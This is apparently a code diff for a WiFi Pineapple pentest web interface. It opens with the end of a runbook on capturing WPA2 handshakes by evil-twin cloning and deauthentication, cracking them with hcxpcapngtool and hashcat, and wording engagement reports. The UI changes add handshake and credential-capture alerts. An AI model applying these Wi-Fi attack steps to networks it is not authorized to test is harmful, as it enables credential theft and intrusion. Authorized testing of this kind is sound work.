- **Evil-twin luring** converts a client only if the real AP is weak/unavailable. Verified outcomes: a 2.4 GHz WPA2 clone captured nothing (5 GHz client never fell to 2.4); a same-band 5 GHz clone (ch36) also captured nothing — the client stayed locked to the strong real AP via PMKSA and never probed the clone. Build a same-band clone persistently via `/etc/config/wireless` (pineapple-control); any handshake the clone conducts lands in `hostap_handshake`/`/root/loot/handshakes`. A wrong-PSK clone still yields a crackable M1/M2 (client computes M2 with its own real PMK); set `disable_pmksa_caching=1` in hostapd so joining clients do a full 4-way.
|
||||
- When no 4-way is achievable in the timebox, **stop and document (§7)**. Do not keep blasting — repeated deauths trigger client-side reconnect throttling (iOS/Android anti-deauth) and make a fresh 4-way LESS likely.
|
||||
|
||||
## 6. Handoff to hashcat (once an EAPOL 4-way is captured)
|
||||
|
||||
```sh
|
||||
hcxpcapngtool -o IBC.hc22000 capture.pcap[ng] # brew hcxtools
|
||||
hashcat -m 22000 IBC.hc22000 -a 0 /usr/share/wordlists/rockyou.txt
|
||||
```
|
||||
WPA2-PSK only. If WPS was open (rare), `-m 2560` on the WPS nonces instead.
|
||||
|
||||
## 7. Report language when no handshake is captured
|
||||
|
||||
> Deauthentication was successful against <targets> (N frames, verified on wire). Handshake acquisition was not achievable within the engagement window: the venue's AP runs an active steering/anti-rogue controller (continuous targeted client deauths, including deauths of the attacker radio's MAC) and clients re-authenticate via PMKSA fast reauthentication without EAPOL key exchange. A new client association or the venue's periodic GTK rekey (hourly) is required to produce a capturable WPA2 four-way handshake for hashcat auditing.
|
||||
|
||||
If an evil-twin attempt was made, add: the clone (SSID/band) was live and verified, but no client engaged it while the real AP remained reachable.
|
||||
|
||||
## 8. Teardown
|
||||
|
||||
```sh
|
||||
killall tcpdump # pkill is NOT on this BusyBox
|
||||
timeout 15 _pineap RECON NEW name=pager hop=fast # restore default recon
|
||||
```
|
||||
|
||||
Leave SSID-pool additions (harmless) or remove with `PINEAPPLE_SSID_POOL_DELETE`. Keep `/root/loot/**` artifacts as evidence; scp them off before leaving the site. If you disabled the SSID pool to fix a pineapd crash, say so (it stays disabled).
|
||||
@@ -185,7 +185,15 @@ body {
|
||||
.badge { display: inline-block; padding: 2px 10px; border-radius: 10px; font-size: 11px; }
|
||||
.badge.on { background: #e8f5e9; color: #2e7d32; }
|
||||
.badge.off { background: #fff3e0; color: #e65100; }
|
||||
.badge.warn { background: #fff8e1; color: #f57f17; }
|
||||
.badge.unknown { background: #eeeeee; color: #616161; }
|
||||
.health-chip { font-size: 11px; font-weight: 600; letter-spacing: .04em; padding: 2px 8px; border-radius: 10px; margin-left: 10px; align-self: center; }
|
||||
.health-chip.good { background: #e8f5e9; color: #2e7d32; }
|
||||
.health-chip.warn { background: #fff8e1; color: #f57f17; }
|
||||
.health-chip.bad { background: #fdecea; color: #b71c1c; }
|
||||
html.dark .health-chip.good { background: #1b3a24; color: #81c784; }
|
||||
html.dark .health-chip.warn { background: #3d3313; color: #ffd54f; }
|
||||
html.dark .health-chip.bad { background: #4a2020; color: #ffb4a9; }
|
||||
.btn {
|
||||
background: var(--primary); color: #fff; border: 0; border-radius: 2px;
|
||||
padding: 8px 14px; font-size: 14px; cursor: pointer;
|
||||
@@ -293,23 +301,45 @@ html.dark .sel { background: #424242; border-color: #545454; color: #fff; }
|
||||
html.dark .muted { color: #bdbdbd; }
|
||||
|
||||
/* ---- Recon (Mark VII parity) ---- */
|
||||
.recon-title-card-container { display: flex; width: 100%; flex-wrap: wrap; justify-content: space-between; gap: 10px; margin: 8px 0 16px; }
|
||||
.recon-title-card { flex: 1 1 220px; min-width: 220px; margin-bottom: 1em; }
|
||||
.recon-card { background: var(--surface); border-radius: 2px; box-shadow: var(--shadow); height: 200px; padding: 12px 16px; display: flex; flex-direction: column; }
|
||||
.recon-title-card-title { font-size: 20px; margin-bottom: 15px; display: flex; align-items: center; color: var(--text); }
|
||||
.recon-title-card-container { display: flex; width: 100%; flex-wrap: wrap; gap: 10px; margin: 8px 0 16px; }
|
||||
.recon-card {
|
||||
flex: 1 1 0; min-width: 170px; height: 190px;
|
||||
background: var(--surface); border-radius: 2px; box-shadow: var(--shadow);
|
||||
padding: 12px 14px; display: flex; flex-direction: column;
|
||||
}
|
||||
.recon-card-title {
|
||||
font-size: 12px; text-transform: uppercase; letter-spacing: .05em;
|
||||
color: var(--muted); margin-bottom: 6px; display: flex; align-items: center;
|
||||
}
|
||||
.recon-card-title-link { color: inherit; text-decoration: none; }
|
||||
.recon-card-title-link:visited { color: inherit; }
|
||||
.recon-card-title-link:hover { text-decoration: underline; }
|
||||
.recon-title-card-content { display: flex; justify-content: center; align-items: center; height: 70%; }
|
||||
.recon-chart-box { width: 100%; height: 150px; position: relative; }
|
||||
.recon-chart-box canvas { width: 100%; height: 100%; }
|
||||
.recon-no-data { font-style: italic; color: #787878; display: flex; justify-content: center; padding: 12px; }
|
||||
.recon-hs-col { display: flex; flex-direction: column; justify-content: center; align-items: center; }
|
||||
.recon-card-title-link:hover { color: var(--primary); text-decoration: underline; }
|
||||
.recon-card-body { display: flex; flex-direction: column; flex: 1; min-height: 0; }
|
||||
.recon-card-value {
|
||||
font-size: 26px; font-weight: 700; line-height: 1.15; color: var(--text);
|
||||
white-space: nowrap; overflow: hidden; text-overflow: ellipsis;
|
||||
}
|
||||
.recon-card-sub {
|
||||
font-size: 12px; color: var(--muted); margin: 1px 0 6px; min-height: 16px;
|
||||
overflow: hidden; text-overflow: ellipsis; white-space: nowrap;
|
||||
}
|
||||
.recon-chart-box { position: relative; flex: 1; min-height: 0; margin-top: auto; }
|
||||
.recon-chart-box canvas { position: absolute; inset: 0; width: 100%; height: 100%; }
|
||||
#recon-encryption, #recon-landscape { position: static; display: block; width: 112px; height: 112px; margin: 0 auto; }
|
||||
.recon-no-data { font-style: italic; color: #787878; display: flex; justify-content: center; align-items: center; padding: 8px; text-align: center; }
|
||||
.recon-chart-legend { display: flex; flex-wrap: wrap; gap: 2px 10px; margin-top: 4px; align-items: baseline; }
|
||||
.recon-chart-entry { display: inline-flex; align-items: center; gap: 5px; font-size: 11px; color: var(--text); }
|
||||
.recon-chart-dot { width: 8px; height: 8px; border-radius: 50%; flex: 0 0 auto; }
|
||||
.recon-chart-label { color: var(--muted); }
|
||||
.recon-chart-count { font-weight: 600; color: var(--text); font-variant-numeric: tabular-nums; }
|
||||
.recon-hs-count { font-size: 32px; font-weight: 700; line-height: 1.1; }
|
||||
.recon-hs-label { color: grey; margin: 2px 0 10px; }
|
||||
.recon-toggle { display: flex; align-items: center; gap: 8px; font-size: 13px; color: var(--text); margin: 0; cursor: pointer; }
|
||||
.recon-ps-row { display: flex; align-items: center; width: 100%; gap: 4px; }
|
||||
.recon-ps-row .sel { width: 100%; }
|
||||
.recon-hs-label { color: var(--muted); font-size: 12px; margin: 1px 0 8px; }
|
||||
.recon-toggle { display: flex; align-items: center; gap: 6px; font-size: 12px; color: var(--text); margin: 0; cursor: pointer; flex-wrap: wrap; min-width: 0; }
|
||||
.recon-ps-row { display: flex; align-items: center; width: 100%; gap: 4px; margin-top: 2px; }
|
||||
.recon-ps-row .sel { width: 100%; font-size: 12px; padding: 4px 6px; }
|
||||
.recon-ps-actions { display: flex; align-items: center; gap: 2px; margin-top: 4px; }
|
||||
.recon-ps-actions .icon-btn { width: 28px; height: 28px; }
|
||||
.recon-ps-actions .icon-btn svg { width: 18px; height: 18px; }
|
||||
.icon-btn { background: transparent; color: var(--muted); border: 0; border-radius: 50%; width: 36px; height: 36px; display: inline-flex; align-items: center; justify-content: center; cursor: pointer; padding: 0; }
|
||||
.icon-btn:hover { background: var(--surface-alt); color: var(--text); }
|
||||
.icon-btn:disabled { opacity: .38; cursor: default; }
|
||||
@@ -327,6 +357,9 @@ html.dark .recon-scan-status.warn { color: #ffb74d; }
|
||||
.recon-paginator .icon-btn svg { width: 18px; height: 18px; }
|
||||
.recon-row-selected td { background: #eaeaea; }
|
||||
html.dark .recon-row-selected td { background: #565656; }
|
||||
.recon-row-compare td { background: rgba(25, 118, 210, .08); }
|
||||
html.dark .recon-row-compare td { background: rgba(25, 118, 210, .18); }
|
||||
.recon-gps-cell { font-variant-numeric: tabular-nums; }
|
||||
.recon-settings-sidebar {
|
||||
position: fixed; top: 64px; right: 0; bottom: 0; width: 270px; z-index: 50;
|
||||
background: var(--surface); box-shadow: -2px 0 6px rgba(0,0,0,.24); padding: 16px;
|
||||
@@ -351,6 +384,8 @@ html.dark .recon-row-selected td { background: #565656; }
|
||||
.recon-focus-body { margin-top: 18px; }
|
||||
.recon-focus-body-title { font-size: 16px; margin-bottom: 8px; color: var(--text); }
|
||||
.recon-focus-action-button { width: 100%; margin-bottom: 5px; }
|
||||
.recon-focus-twin { background: var(--ok); }
|
||||
.recon-focus-twin:hover { background: #689f38; }
|
||||
.recon-focus-detail { display: flex; justify-content: space-between; gap: 10px; padding: 3px 0; border-bottom: 1px solid var(--border); font-size: 13px; }
|
||||
.recon-focus-detail-label { color: var(--muted); flex: none; }
|
||||
.recon-sort-arrow { color: var(--muted); font-size: 11px; }
|
||||
@@ -399,6 +434,16 @@ html.dark .recon-pill.on { background: #1b3a23; color: #81c784; }
|
||||
.recon-map-box { position: relative; }
|
||||
.recon-map-box canvas { display: block; }
|
||||
.recon-map-box .recon-no-data { min-height: 60px; }
|
||||
.recon-map-tip {
|
||||
position: absolute; z-index: 20; min-width: 220px; max-width: 260px;
|
||||
background: var(--surface); border: 1px solid var(--border); border-radius: 3px;
|
||||
box-shadow: var(--shadow); padding: 8px 10px; pointer-events: none; font-size: 12px;
|
||||
color: var(--text);
|
||||
}
|
||||
.recon-map-tip-row { padding: 3px 0; border-bottom: 1px solid var(--border); }
|
||||
.recon-map-tip-row:last-child { border-bottom: 0; }
|
||||
.recon-map-tip-ssid { font-weight: 600; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; }
|
||||
.recon-map-tip-meta { color: var(--muted); font-size: 11px; font-variant-numeric: tabular-nums; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; }
|
||||
|
||||
/* ---- Reports view ---- */
|
||||
.wigle-warn { color: #ef6c00; font-size: 12px; }
|
||||
@@ -468,6 +513,7 @@ html.dark .modal { background: #303030; }
|
||||
.pineap-infobox { border-radius: 2px; padding: 10px 12px; margin-top: 10px; font-size: 13px; display: flex; flex-direction: column; gap: 8px; }
|
||||
.pineap-infobox.error { background: #fdecea; color: #b71c1c; border: 1px solid #f5c6cb; }
|
||||
.pineap-infobox.info { background: #e3f2fd; color: #0d47a1; border: 1px solid #90caf9; }
|
||||
.pineap-infobox.warn { background: #fff8e1; color: #f57f17; border: 1px solid #ffe082; }
|
||||
.pineap-infobox-actions { display: flex; gap: 8px; flex-wrap: wrap; }
|
||||
html.dark .pineap-infobox.error { background: #4a2020; color: #ffb4a9; border-color: #6b2d2d; }
|
||||
html.dark .pineap-infobox.info { background: #10263a; color: #9cc7f0; border-color: #1d3a54; }
|
||||
|
||||
@@ -6,7 +6,7 @@
|
||||
<meta name="color-scheme" content="light dark">
|
||||
<title>WiFi Pineapple</title>
|
||||
<link rel="icon" type="image/png" href="assets/logo.png">
|
||||
<link rel="stylesheet" href="css/app.css?v=20260811-9">
|
||||
<link rel="stylesheet" href="css/app.css?v=20260819-1">
|
||||
<link rel="stylesheet" href="js/xterm.css">
|
||||
</head>
|
||||
<body>
|
||||
@@ -26,6 +26,7 @@
|
||||
<span id="brand-text" class="brand-text">Mark VIII</span>
|
||||
<span class="toolbar-spacer"></span>
|
||||
<span id="live-status"></span>
|
||||
<span id="health-status" class="health-chip"></span>
|
||||
<div class="toolbar-action">
|
||||
<button id="notifications-btn" class="toolbar-icon-btn" type="button" title="Notifications"
|
||||
aria-label="Notifications" aria-haspopup="menu" aria-controls="notifications-menu" aria-expanded="false"></button>
|
||||
@@ -260,14 +261,14 @@
|
||||
<div id="toast-container"></div>
|
||||
|
||||
<script src="js/config.js"></script>
|
||||
<script src="js/icons.js?v=20260811-6"></script>
|
||||
<script src="js/api.js?v=20260817-4"></script>
|
||||
<script src="js/chart.js"></script>
|
||||
<script src="js/icons.js?v=20260818-7"></script>
|
||||
<script src="js/api.js?v=20260819-2"></script>
|
||||
<script src="js/chart.js?v=20260819-1"></script>
|
||||
<script src="js/xterm.min.js"></script>
|
||||
<script src="js/xterm-addon-fit.min.js"></script>
|
||||
<script src="js/terminal.js"></script>
|
||||
<script src="js/pager.js"></script>
|
||||
<script src="js/views.js?v=20260817-12"></script>
|
||||
<script src="js/app.js?v=20260811-9"></script>
|
||||
<script src="js/views.js?v=20260819-2"></script>
|
||||
<script src="js/app.js?v=20260819-1"></script>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
@@ -3,13 +3,32 @@
|
||||
const PagerAPI = (() => {
|
||||
let apiBase = '';
|
||||
let on401 = null;
|
||||
// Reads are polled and must never hang a page's refresh loop; writes have
|
||||
// server-side timeouts up to 45s (radio deploys) so they get no client
|
||||
// abort.
|
||||
const GET_TIMEOUT_MS = 20000;
|
||||
async function request(method, path, body) {
|
||||
const opts = { method, headers: {}, credentials: 'include' };
|
||||
if (body !== undefined) {
|
||||
opts.headers['Content-Type'] = 'application/json';
|
||||
opts.body = JSON.stringify(body);
|
||||
}
|
||||
const res = await fetch(apiBase + path, opts);
|
||||
const ctl = new AbortController();
|
||||
const timer = method === 'GET' ? setTimeout(() => ctl.abort(), GET_TIMEOUT_MS) : null;
|
||||
if (timer) opts.signal = ctl.signal;
|
||||
let res;
|
||||
try {
|
||||
res = await fetch(apiBase + path, opts);
|
||||
} catch (e) {
|
||||
if (timer && e && e.name === 'AbortError') {
|
||||
const error = new Error('Request timed out');
|
||||
error.status = 0;
|
||||
throw error;
|
||||
}
|
||||
throw e;
|
||||
} finally {
|
||||
if (timer) clearTimeout(timer);
|
||||
}
|
||||
if (res.status === 401) {
|
||||
if (on401) on401();
|
||||
throw new Error('unauthorized');
|
||||
|
||||
@@ -33,6 +33,7 @@ const App = (() => {
|
||||
{ key: 'recon', label: 'Recon', hash: '#/recon', icon: 'recon' },
|
||||
{ key: 'logging', label: 'Logging', hash: '#/logging', icon: 'logging' },
|
||||
{ key: 'modules', label: 'Payloads', hash: '#/modules', icon: 'modules' },
|
||||
{ key: 'harness', label: 'Harness', hash: '#/harness', icon: 'robot' },
|
||||
{ key: 'settings', label: 'Settings', hash: '#/settings', icon: 'settings' }
|
||||
];
|
||||
const railDividers = new Set(['logging']);
|
||||
@@ -83,11 +84,22 @@ const App = (() => {
|
||||
|
||||
function route() {
|
||||
closeToolbarMenus();
|
||||
const hash = (location.hash || '#/dashboard').replace(/\/+$/, '');
|
||||
let hash = (location.hash || '#/dashboard').replace(/\/+$/, '');
|
||||
if (hash === '#/recon/survey') {
|
||||
location.hash = '#/recon';
|
||||
return;
|
||||
}
|
||||
if (hash.indexOf('#/attacks') === 0) {
|
||||
const map = {
|
||||
'#/attacks': '#/pineap',
|
||||
'#/attacks/wpa': '#/pineap/evilwpa',
|
||||
'#/attacks/open': '#/pineap/open',
|
||||
'#/attacks/enterprise': '#/pineap/enterprise'
|
||||
};
|
||||
hash = map[hash] || '#/pineap';
|
||||
location.replace(hash);
|
||||
return;
|
||||
}
|
||||
const name = routes[hash];
|
||||
if (currentView && currentView.destroy) currentView.destroy();
|
||||
els.content.innerHTML = '';
|
||||
@@ -394,8 +406,9 @@ const App = (() => {
|
||||
const routes = {
|
||||
'#/dashboard': 'dashboard',
|
||||
'#/pineap': 'pineap',
|
||||
'#/pineap/open': 'pineap_open',
|
||||
'#/pineap/evilwpa': 'pineap_evilwpa',
|
||||
'#/pineap/enterprise': 'pineap_enterprise',
|
||||
'#/pineap/open': 'pineap_open',
|
||||
'#/pineap/impersonation': 'pineap_impersonation',
|
||||
'#/pineap/clients': 'pineap_clients',
|
||||
'#/pineap/filtering': 'pineap_filtering',
|
||||
@@ -413,7 +426,8 @@ const App = (() => {
|
||||
'#/settings/wifi': 'settings_wifi',
|
||||
'#/settings/led': 'settings_led',
|
||||
'#/settings/advanced': 'settings_advanced',
|
||||
'#/settings/help': 'settings_help'
|
||||
'#/settings/help': 'settings_help',
|
||||
'#/harness': 'harness'
|
||||
};
|
||||
|
||||
return { init, route, toast, showLogin, checkInternet, wsUrl: (p) => WS_BASE + p,
|
||||
@@ -427,6 +441,10 @@ const Live = (() => {
|
||||
let ws = null;
|
||||
let ever = false;
|
||||
let poll = null;
|
||||
let pollHealthTimer = null;
|
||||
let pollEventsTimer = null;
|
||||
const lastEvents = { hsSeen: {}, hsPrimed: false, creds: null, credsPrimed: false,
|
||||
pineapUp: null, mon0: null, mon1: null };
|
||||
const subs = [];
|
||||
let timer = null;
|
||||
function stopPoll() {
|
||||
@@ -435,6 +453,14 @@ const Live = (() => {
|
||||
function start() {
|
||||
if (ws && (ws.readyState === WebSocket.OPEN || ws.readyState === WebSocket.CONNECTING)) return;
|
||||
stopPoll();
|
||||
if (!pollHealthTimer) {
|
||||
pollHealthTimer = setInterval(pollHealth, 15000);
|
||||
pollHealth();
|
||||
}
|
||||
if (!pollEventsTimer) {
|
||||
pollEventsTimer = setInterval(pollEvents, 15000);
|
||||
pollEvents();
|
||||
}
|
||||
try { ws = new WebSocket(App.wsUrl('/api/ws')); }
|
||||
catch (e) { fallback(); return; }
|
||||
ws.onopen = () => { ever = true; };
|
||||
@@ -482,6 +508,58 @@ const Live = (() => {
|
||||
const el = document.getElementById('live-status');
|
||||
if (el) el.textContent = 'BAT ' + (b.level == null ? '--' : b.level + '%' + (b.charging ? '+' : '')) + ' CLIENTS ' + n;
|
||||
}
|
||||
function pollHealth() {
|
||||
fetch(App.apiBase + '/api/health', { credentials: 'include' }).then((r) => r.json())
|
||||
.then((h) => {
|
||||
const el = document.getElementById('health-status');
|
||||
if (!el) return;
|
||||
if (h.pineap_up === false) {
|
||||
el.textContent = 'PINEAPD DOWN';
|
||||
el.className = 'health-chip bad';
|
||||
} else if (h.pool_disabled) {
|
||||
el.textContent = 'POOL OFF';
|
||||
el.className = 'health-chip warn';
|
||||
} else if (h.pineap_up) {
|
||||
el.textContent = 'PINEAP OK';
|
||||
el.className = 'health-chip good';
|
||||
}
|
||||
const prev = lastEvents;
|
||||
if (prev.pineapUp === false && h.pineap_up) {
|
||||
toast('PineAPd recovered', 'success');
|
||||
} else if (prev.pineapUp === true && h.pineap_up === false) {
|
||||
toast('PineAPd is down — health monitor is repairing it', 'error');
|
||||
}
|
||||
lastEvents.pineapUp = !!h.pineap_up;
|
||||
const monState = [h.wlan0mon_up, h.wlan1mon_up];
|
||||
if (prev.mon0 === true && monState[0] === false) toast('wlan0mon went down', 'error');
|
||||
if (prev.mon1 === true && monState[1] === false) toast('wlan1mon went down', 'error');
|
||||
lastEvents.mon0 = !!monState[0];
|
||||
lastEvents.mon1 = !!monState[1];
|
||||
}).catch(() => {});
|
||||
}
|
||||
function pollEvents() {
|
||||
Promise.all([
|
||||
fetch(App.apiBase + '/api/pineap/handshakes', { credentials: 'include' }).then((r) => r.json()).catch(() => ({})),
|
||||
fetch(App.apiBase + '/api/attacks/status', { credentials: 'include' }).then((r) => r.json()).catch(() => ({}))
|
||||
]).then(([hs, atk]) => {
|
||||
const files = (hs && hs.files) || [];
|
||||
const fresh = files.filter((f) => !lastEvents.hsSeen[f.name]);
|
||||
if (lastEvents.hsPrimed && fresh.length) {
|
||||
fresh.forEach((f) => {
|
||||
const bssid = (f.name.match(/^[0-9]+_([0-9A-F]+)_/) || [])[1] || '';
|
||||
toast('Handshake captured: ' + (bssid || f.name), 'success');
|
||||
});
|
||||
}
|
||||
files.forEach((f) => { lastEvents.hsSeen[f.name] = true; });
|
||||
lastEvents.hsPrimed = true;
|
||||
const creds = ((atk.enterprise || {}).creds) == null ? null : atk.enterprise.creds;
|
||||
if (lastEvents.credsPrimed && creds !== null && creds > lastEvents.creds) {
|
||||
toast('Enterprise credential captured (' + (creds - lastEvents.creds) + ' new)', 'success');
|
||||
}
|
||||
if (creds !== null) lastEvents.creds = creds;
|
||||
lastEvents.credsPrimed = true;
|
||||
}).catch(() => {});
|
||||
}
|
||||
function onTick(fn) {
|
||||
subs.push(fn);
|
||||
return () => {
|
||||
|
||||
@@ -161,6 +161,8 @@ const MiniChart = (() => {
|
||||
// Channel map: each AP is a raised-cosine lobe at its reported center
|
||||
// frequency with the peak at its signal strength. The radio does not report
|
||||
// channel width, so every lobe assumes 20 MHz (half-width +-10 MHz).
|
||||
// Lobe geometry (CSS px) is recorded on the canvas so the caller can
|
||||
// hit-test pointer position against the networks under the cursor.
|
||||
function channelMap(canvas, aps, opts) {
|
||||
const o = opts || {};
|
||||
const dpr = window.devicePixelRatio || 1;
|
||||
@@ -171,6 +173,7 @@ const MiniChart = (() => {
|
||||
ctx.setTransform(dpr, 0, 0, dpr, 0, 0);
|
||||
const w = canvas.clientWidth, h = H;
|
||||
ctx.clearRect(0, 0, w, h);
|
||||
canvas.__reconLobes = [];
|
||||
if (!aps || !aps.length) return;
|
||||
const pts = aps
|
||||
.map((a) => ({
|
||||
@@ -211,6 +214,7 @@ const MiniChart = (() => {
|
||||
const topY = y(a.signal);
|
||||
const peakH = Math.max(2, baseY - topY);
|
||||
const half = Math.max(4, (10 / (fMax - fMin)) * plotW);
|
||||
canvas.__reconLobes.push({ ap: a, cx: cx, half: half, topY: topY, baseY: baseY });
|
||||
ctx.beginPath();
|
||||
for (let i = 0; i <= 28; i++) {
|
||||
const t = -1 + i / 14;
|
||||
@@ -227,6 +231,20 @@ const MiniChart = (() => {
|
||||
ctx.lineWidth = 1.5;
|
||||
ctx.stroke();
|
||||
});
|
||||
// Hit test: list networks whose lobe is under (mx, my) in CSS px.
|
||||
canvas.__reconLobesHit = function (mx, my, padPx) {
|
||||
const pad = padPx == null ? 4 : padPx;
|
||||
const hits = [];
|
||||
(this.__reconLobes || []).forEach((l) => {
|
||||
const dx = mx - l.cx;
|
||||
if (Math.abs(dx) > l.half + 2) return;
|
||||
const t = Math.min(1, Math.max(-1, dx / l.half));
|
||||
const lift = Math.max(0, 0.5 + 0.5 * Math.cos(Math.PI * t));
|
||||
const lobeTop = l.baseY - lift * (l.baseY - l.topY);
|
||||
if (my >= lobeTop - pad && my <= l.baseY + pad) hits.push(l.ap);
|
||||
});
|
||||
return hits;
|
||||
};
|
||||
let lastLabelX = -Infinity;
|
||||
ctx.textAlign = 'center';
|
||||
aps.forEach((a) => {
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
'use strict';
|
||||
|
||||
window.PineappleIcons = {
|
||||
attack: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M12,2L15,9L22,12L15,15L12,22L9,15L2,12L9,9L12,2M12,6.5L10.5,10.5L6.5,12L10.5,13.5L12,17.5L13.5,13.5L17.5,12L13.5,10.5L12,6.5Z"/></svg>',
|
||||
dashboard: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M12,16A3,3 0 0,1 9,13C9,11.88 9.61,10.9 10.5,10.39L20.21,4.77L14.68,14.35C14.18,15.33 13.17,16 12,16M12,3C13.81,3 15.5,3.5 16.97,4.32L14.87,5.53C14,5.19 13,5 12,5A8,8 0 0,0 4,13C4,15.21 4.89,17.21 6.34,18.65H6.35C6.74,19.04 6.74,19.67 6.35,20.06C5.96,20.45 5.32,20.45 4.93,20.07V20.07C3.12,18.26 2,15.76 2,13A10,10 0 0,1 12,3M22,13C22,15.76 20.88,18.26 19.07,20.07V20.07C18.68,20.45 18.05,20.45 17.66,20.06C17.27,19.67 17.27,19.04 17.66,18.65V18.65C19.11,17.2 20,15.21 20,13C20,12 19.81,11 19.46,10.1L20.67,8C21.5,9.5 22,11.18 22,13Z"/></svg>',
|
||||
pineap: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M12,21L15.6,16.2C16.2,15.4 16.8,14.5 17.2,13.6C18.1,11.5 18,9 18,9C18,6.5 16.5,4.3 15,3.5C13.5,2.7 10.5,2.7 9,3.5C7.5,4.3 6,6.5 6,9C6,9 5.9,11.5 6.8,13.6C7.2,14.5 7.8,15.4 8.4,16.2L12,21M12,5.5C13.4,5.5 14.5,6.6 14.5,8C14.5,9.4 13.4,10.5 12,10.5C10.6,10.5 9.5,9.4 9.5,8C9.5,6.6 10.6,5.5 12,5.5M7.1,13.1C7.1,13.1 8.2,14 12,14C15.8,14 16.9,13.1 16.9,13.1L15.9,12.1C15.9,12.1 14.8,12.8 12,12.8C9.2,12.8 8.1,12.1 8.1,12.1L7.1,13.1M12,17C10,17 9,17.6 9,17.6L10.3,19.3C10.3,19.3 11.1,19 12,19C12.9,19 13.7,19.3 13.7,19.3L15,17.6C15,17.6 14,17 12,17Z"/></svg>',
|
||||
recon: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M11,6H13V13H11V6M9,20A1,1 0 0,1 8,21H5A1,1 0 0,1 4,20V15L6,6H10V13A1,1 0 0,1 9,14V20M10,5H7V3H10V5M15,20V14A1,1 0 0,1 14,13V6H18L20,15V20A1,1 0 0,1 19,21H16A1,1 0 0,1 15,20M14,5V3H17V5H14Z"/></svg>',
|
||||
@@ -9,12 +10,14 @@ window.PineappleIcons = {
|
||||
settings: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M21 11.11V7A2 2 0 0 0 19 5H15V3A2 2 0 0 0 13 1H9A2 2 0 0 0 7 3V5H3A2 2 0 0 0 1 7V18A2 2 0 0 0 3 20H10.26A7 7 0 1 0 21 11.11M9 3H13V5H9M19 20A5 5 0 0 1 13 20A5 5 0 1 1 19 20M15 13H16.5V15.82L18.94 17.23L18.19 18.53L15 16.69V13"/></svg>',
|
||||
chevron: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M7.41,15.41L12,10.83L16.59,15.41L18,14L12,8L6,14L7.41,15.41Z"/></svg>',
|
||||
terminal: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M20,19V7H4V19H20M20,3A2,2 0 0,1 22,5V19A2,2 0 0,1 20,21H4A2,2 0 0,1 2,19V5C2,3.89 2.9,3 4,3H20M13,17V15H18V17H13M9.58,13L5.57,9H8.4L11.7,12.3C12.09,12.69 12.09,13.33 11.7,13.72L8.42,17H5.59L9.58,13Z"/></svg>',
|
||||
robot: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M12,2A2,2 0 0,1 14,4C14,4.74 13.6,5.39 13,5.73V7H14A7,7 0 0,1 21,14H22A1,1 0 0,1 23,15V18A1,1 0 0,1 22,19H21V20A2,2 0 0,1 19,22H5A2,2 0 0,1 3,20V19H2A1,1 0 0,1 1,18V15A1,1 0 0,1 2,14H3A7,7 0 0,1 10,7H11V5.73C10.4,5.39 10,4.74 10,4A2,2 0 0,1 12,2M7.5,13A2.5,2.5 0 0,0 5,15.5A2.5,2.5 0 0,0 7.5,18A2.5,2.5 0 0,0 10,15.5A2.5,2.5 0 0,0 7.5,13M16.5,13A2.5,2.5 0 0,0 14,15.5A2.5,2.5 0 0,0 16.5,18A2.5,2.5 0 0,0 19,15.5A2.5,2.5 0 0,0 16.5,13M12,20A2,2 0 0,0 14,18H10A2,2 0 0,0 12,20Z"/></svg>',
|
||||
wifi: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M1,9L3,11C8,6 16,6 21,11L23,9C17,3 7,3 1,9M5,13L7,15C10,12.5 14,12.5 17,15L19,13C15,9 9,9 5,13M9,17L12,21L15,17C13.34,15.67 10.66,15.67 9,17Z"/></svg>',
|
||||
extension: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M20.5,11H19V7C19,5.89 18.1,5 17,5H13V3.5A2.5,2.5 0 0,0 10.5,1A2.5,2.5 0 0,0 8,3.5V5H4A2,2 0 0,0 2,7V10.8H3.5C5,10.8 6.2,12 6.2,13.5C6.2,15 5,16.2 3.5,16.2H2V20A2,2 0 0,0 4,22H7.8V20.5C7.8,19 9,17.8 10.5,17.8C12,17.8 13.2,19 13.2,20.5V22H17A2,2 0 0,0 19,20V16H20.5A2.5,2.5 0 0,0 23,13.5A2.5,2.5 0 0,0 20.5,11Z"/></svg>',
|
||||
receipt: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M14,17H4V15H14V17M14,13H4V11H14V13M14,9H4V7H14V9M18,13V11H16V9H18V7H20V9H22V11H20V13H18M20,3H2A2,2 0 0,0 0,5V19A2,2 0 0,0 2,21H20A2,2 0 0,0 22,19V17H20V19H2V5H20V3Z"/></svg>',
|
||||
refresh: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M17.65,6.35C16.2,4.9 14.21,4 12,4A8,8 0 0,0 4,12A8,8 0 0,0 12,20C15.73,20 18.84,17.45 19.73,14H17.65C16.83,16.33 14.61,18 12,18A6,6 0 0,1 6,12A6,6 0 0,1 12,6C13.66,6 15.14,6.69 16.22,7.78L13,11H20V4L17.65,6.35Z"/></svg>',
|
||||
file_download: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M19,9H15V3H9V9H5L12,16L19,9M5,18V20H19V18H5Z"/></svg>',
|
||||
delete: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M6,19C6,20.1 6.9,21 8,21H16C17.1,21 18,20.1 18,19V7H6V19M19,4H15.5L14.5,3H9.5L8.5,4H5V6H19V4Z"/></svg>',
|
||||
delete_forever: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M6,19A2,2 0 0,0 8,21H16A2,2 0 0,0 18,19V7H6V19M8.46,11.88L9.87,10.47L12,12.59L14.12,10.47L15.53,11.88L13.41,14L15.53,16.12L14.12,17.53L12,15.41L9.88,17.53L8.47,16.12L10.59,14L8.46,11.88M15.5,4L14.5,3H9.5L8.5,4H5V6H19V4H15.5Z"/></svg>',
|
||||
